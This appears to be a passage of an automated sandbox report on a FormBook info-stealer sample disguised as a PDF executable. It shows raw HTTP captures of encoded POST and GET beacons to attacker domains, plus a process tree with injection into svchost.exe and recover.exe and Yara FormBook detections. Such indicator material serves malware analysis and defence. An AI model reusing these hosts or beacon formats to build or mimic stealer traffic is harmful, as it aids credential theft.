Dec 13, 2024 13:10:19.085571051 CET	790	OUT	POST /er88/ HTTP/1.1 Host: www.030002059.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002059.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.030002059.xyz/er88/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 76 36 51 38 63 66 4e 74 47 73 74 56 67 41 67 63 54 50 57 6e 65 50 46 43 78 4f 46 49 66 59 31 77 2b 51 43 5a 6d 79 48 49 35 5a 46 51 36 32 55 48 75 68 4d 41 64 39 75 78 30 4b 77 6e 65 6e 63 2b 44 44 68 71 36 6a 4c 79 55 55 31 6f 6c 46 4b 31 34 57 79 41 48 6b 68 6c 70 2f 58 59 56 53 51 2f 49 32 73 4b 77 76 52 61 6e 77 6f 47 34 4f 78 58 71 64 74 7a 64 51 58 52 4d 48 6c 48 4b 63 46 2f 48 46 4f 50 76 79 4a 36 68 64 55 6b 30 69 67 30 2f 77 63 61 79 39 44 58 31 68 36 44 51 33 72 65 7a 53 42 77 4f 58 45 38 30 76 44 4c 69 2b 52 74 64 45 35 4b 34 41 64 54 71 4f 35 33 50 64 74 75 47 6c 37 71 59 4f 32 39 73 79 6d 77 48 78 43 67 66 78 6f 57 62 63 59 3d Data Ascii: 9B_ppt=v6Q8cfNtGstVgAgcTPWnePFCxOFIfY1w+QCZmyHI5ZFQ62UHuhMAd9ux0Kwnenc+DDhq6jLyUU1olFK14WyAHkhlp/XYVSQ/I2sKwvRanwoG4OxXqdtzdQXRMHlHKcF/HFOPvyJ6hdUk0ig0/wcay9DX1h6DQ3rezSBwOXE80vDLi+RtdE5K4AdTqO53PdtuGl7qYO29symwHxCgfxoWbcY=
Dec 13, 2024 13:10:19.888510942 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:10:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:10:19.888567924 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50044	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:22.133514881 CET	10872	OUT	POST /er88/ HTTP/1.1 Host: www.030002059.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002059.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.030002059.xyz/er88/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 76 36 51 38 63 66 4e 74 47 73 74 56 67 41 67 63 54 50 57 6e 65 50 46 43 78 4f 46 49 66 59 31 77 2b 51 43 5a 6d 79 48 49 35 5a 64 51 36 41 67 48 38 53 30 41 63 39 75 78 33 4b 77 6b 65 6e 63 7a 44 44 70 75 36 6a 48 45 55 57 4e 6f 6b 6a 47 31 70 79 6d 41 63 30 68 6c 6c 66 58 5a 62 79 51 51 49 32 38 4f 77 76 42 61 6e 77 6f 47 34 4e 35 58 38 38 74 7a 66 51 58 53 62 33 6c 62 62 4d 45 67 48 46 47 31 76 78 6c 4d 68 73 30 6b 74 43 77 30 35 47 49 61 7a 64 44 52 30 68 37 57 51 33 76 52 7a 53 64 57 4f 58 77 61 30 6f 7a 4c 6e 4b 59 45 43 47 6c 43 6a 6d 64 57 34 74 4d 49 47 74 52 30 65 53 72 74 57 76 79 71 37 6a 75 62 4d 7a 7a 32 61 52 59 42 46 4c 78 30 4d 34 68 69 61 63 38 6b 56 47 64 46 38 7a 4f 42 57 73 4c 36 37 36 41 2f 73 7a 59 41 6d 37 58 62 5a 4c 43 53 6b 4d 4a 52 63 62 66 48 56 66 33 34 72 53 35 31 59 7a 4d 32 4e 74 41 64 65 74 36 55 77 6e 42 37 39 4a 70 78 41 73 33 39 32 52 62 71 64 49 75 75 69 55 53 49 34 71 51 35 6e 57 6f 64 37 4b 55 55 6d 58 4c 41 46 6e 4f 6b 4d 6c 45 6f 70 62 4d [TRUNCATED] Data Ascii: 9B_ppt=v6Q8cfNtGstVgAgcTPWnePFCxOFIfY1w+QCZmyHI5ZdQ6AgH8S0Ac9ux3KwkenczDDpu6jHEUWNokjG1pymAc0hllfXZbyQQI28OwvBanwoG4N5X88tzfQXSb3lbbMEgHFG1vxlMhs0ktCw05GIazdDR0h7WQ3vRzSdWOXwa0ozLnKYECGlCjmdW4tMIGtR0eSrtWvyq7jubMzz2aRYBFLx0M4hiac8kVGdF8zOBWsL676A/szYAm7XbZLCSkMJRcbfHVf34rS51YzM2NtAdet6UwnB79JpxAs392RbqdIuuiUSI4qQ5nWod7KUUmXLAFnOkMlEopbMK/Akv+kHHKhUsEtD7tKUftfGpAcoVON1xa/EOr9aJqFr+fdRmCJ1ns8lv9WzGhrG5/3eu4c6LwSaCOJipDSS/iaSLf5CMZ+/KPTnN/+XBWZbl0v+InD7UkC+UaAvJk+XLsnRWJWD12WEwjgHvIqj1EnzUPpeyOLc5619F+U3YlS17CfD9jsQmD047PKRSxXuvRcFzitgvcdQGlIPfC5ZtDuZAkn0zb0Kg+IQxtgUmeaTcPVk65MVFsYDf5idB2unBVoPiEcaa4BQZtVLwvE90sErW2/ab0LWAd7fjtmpoilrzPOpYGPrhgHu+HE5DbNlC010bBrh9fzJ00cvKp4ZcNkTguwNrLr0YHWQUuuGxNG9TKPpfSQ4Cc7mXJqy71DyR3P76b+R2sOiLqbT3jMTTzcyoO8kdW8TyjJyo3MPbazXIXC32jp4DYs2SEG0n/AqTichFXcl49bulFhE98kIsy56CJZJQgEwE2j+Yz7KHvYFm94CQNtxm1BCgAdQf5eNgmZ7Gviq3NCoczRYEadGlIf2pES+kr0hlMzmnGRH7/LBtabj6HfURaLuO99rnwLRkuvB2pSlH/yWvm48n97z+we9t7WOSAU0U/o2jRokhi9WO8vk/tVFa7cAvMoyB/FJbzL8y+7W9mPoHOcgg8lUBz72Xha5467+2x [TRUNCATED]
Dec 13, 2024 13:10:23.366647959 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:10:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:10:23.366672993 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50045	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:24.790267944 CET	512	OUT	GET /er88/?9B_ppt=i44cfvhGA8d2n3UYXaCGfuZ18OIgEphd3DXa+grkxbY00W8PtxsyWNCcnvl5XmwHEQha9wDhby9/6Haw/gmAEUgIq47tXTEuO1ZaxpFdonJQgsoz6uRXQGU=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.030002059.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:10:26.132560968 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:10:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Dec 13, 2024 13:10:26.132584095 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Dec 13, 2024 13:10:26.132594109 CET	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50050	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:47.026427984 CET	776	OUT	POST /d55l/ HTTP/1.1 Host: www.tdassetmgt.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tdassetmgt.info Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.tdassetmgt.info/d55l/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 4d 69 67 47 79 79 58 59 68 73 62 68 64 53 4c 4b 49 59 77 74 54 67 56 37 75 46 4f 76 47 70 41 2b 48 78 58 65 2b 52 34 66 4a 6d 61 73 78 49 4e 4f 74 55 58 73 61 72 4e 56 78 47 52 66 38 4f 6a 71 72 31 78 4b 38 55 66 32 44 63 59 54 75 45 4c 68 65 4d 4b 58 61 66 75 45 74 45 36 6e 37 65 46 48 2b 6f 5a 79 65 50 45 37 47 67 6c 75 4f 33 6b 63 71 36 6b 44 78 37 72 6c 6e 6e 53 58 34 63 38 75 41 30 4f 57 49 39 6f 6b 48 52 72 2f 44 61 44 4b 6f 51 61 61 48 51 64 42 44 6c 46 42 45 33 56 51 51 56 63 56 75 64 4d 4c 59 73 6c 34 4c 71 2b 71 69 37 59 79 79 38 56 6f 53 57 61 61 2f 2b 58 59 32 67 3d 3d Data Ascii: 9B_ppt=MigGyyXYhsbhdSLKIYwtTgV7uFOvGpA+HxXe+R4fJmasxINOtUXsarNVxGRf8Ojqr1xK8Uf2DcYTuELheMKXafuEtE6n7eFH+oZyePE7GgluO3kcq6kDx7rlnnSX4c8uA0OWI9okHRr/DaDKoQaaHQdBDlFBE3VQQVcVudMLYsl4Lq+qi7Yyy8VoSWaa/+XY2g==
Dec 13, 2024 13:10:48.112895966 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	50051	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:49.679757118 CET	796	OUT	POST /d55l/ HTTP/1.1 Host: www.tdassetmgt.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.tdassetmgt.info Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.tdassetmgt.info/d55l/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 4d 69 67 47 79 79 58 59 68 73 62 68 63 79 62 4b 4e 35 77 74 53 41 56 30 68 6c 4f 76 49 35 41 69 48 78 62 65 2b 51 4d 50 56 45 2b 73 2f 4d 4a 4f 73 52 72 73 58 4c 4e 56 70 32 52 65 79 75 6a 62 72 31 73 2f 38 52 66 32 44 64 34 54 75 42 33 68 66 37 57 55 62 50 75 43 30 55 36 6c 30 2b 46 48 2b 6f 5a 79 65 50 52 7a 47 6d 4e 75 4f 45 38 63 6c 34 41 63 79 37 72 6b 76 48 53 58 38 63 39 70 41 30 50 44 49 34 77 65 48 54 6a 2f 44 59 62 4b 72 42 61 56 4e 51 64 48 4f 46 45 58 4b 43 4d 79 59 45 78 43 6b 72 41 6c 56 59 74 46 44 4d 7a 77 7a 4b 35 6c 67 38 78 62 50 52 54 75 79 39 71 52 74 6c 77 58 4d 64 52 5a 64 74 61 77 54 63 7a 41 6a 74 52 70 58 68 38 3d Data Ascii: 9B_ppt=MigGyyXYhsbhcybKN5wtSAV0hlOvI5AiHxbe+QMPVE+s/MJOsRrsXLNVp2Reyujbr1s/8Rf2Dd4TuB3hf7WUbPuC0U6l0+FH+oZyePRzGmNuOE8cl4Acy7rkvHSX8c9pA0PDI4weHTj/DYbKrBaVNQdHOFEXKCMyYExCkrAlVYtFDMzwzK5lg8xbPRTuy9qRtlwXMdRZdtawTczAjtRpXh8=
Dec 13, 2024 13:10:50.763427973 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Target ID:	0
Start time:	07:06:13
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\SC_TR11670000_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SC_TR11670000_pdf.exe"
Imagebase:	0xae0000
File size:	1'179'136 bytes
MD5 hash:	1EAD28DAD1FAE4A2478C61D096A3F162
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	07:06:15
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SC_TR11670000_pdf.exe"
Imagebase:	0x580000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1923090053.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1924622437.0000000005730000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1924200724.00000000039A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:06:24
Start date:	13/12/2024
Path:	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe"
Imagebase:	0xfb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.4204999427.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	07:06:26
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\recover.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\recover.exe"
Imagebase:	0x7f0000
File size:	12'288 bytes
MD5 hash:	D38B657A068016768CA9F3B5E100B472
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4204068794.0000000002F70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4205129970.0000000003620000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4205169396.0000000003670000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	07:06:39
Start date:	13/12/2024
Path:	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe"
Imagebase:	0xfb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4206800241.0000000004BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	07:06:51
Start date:	13/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true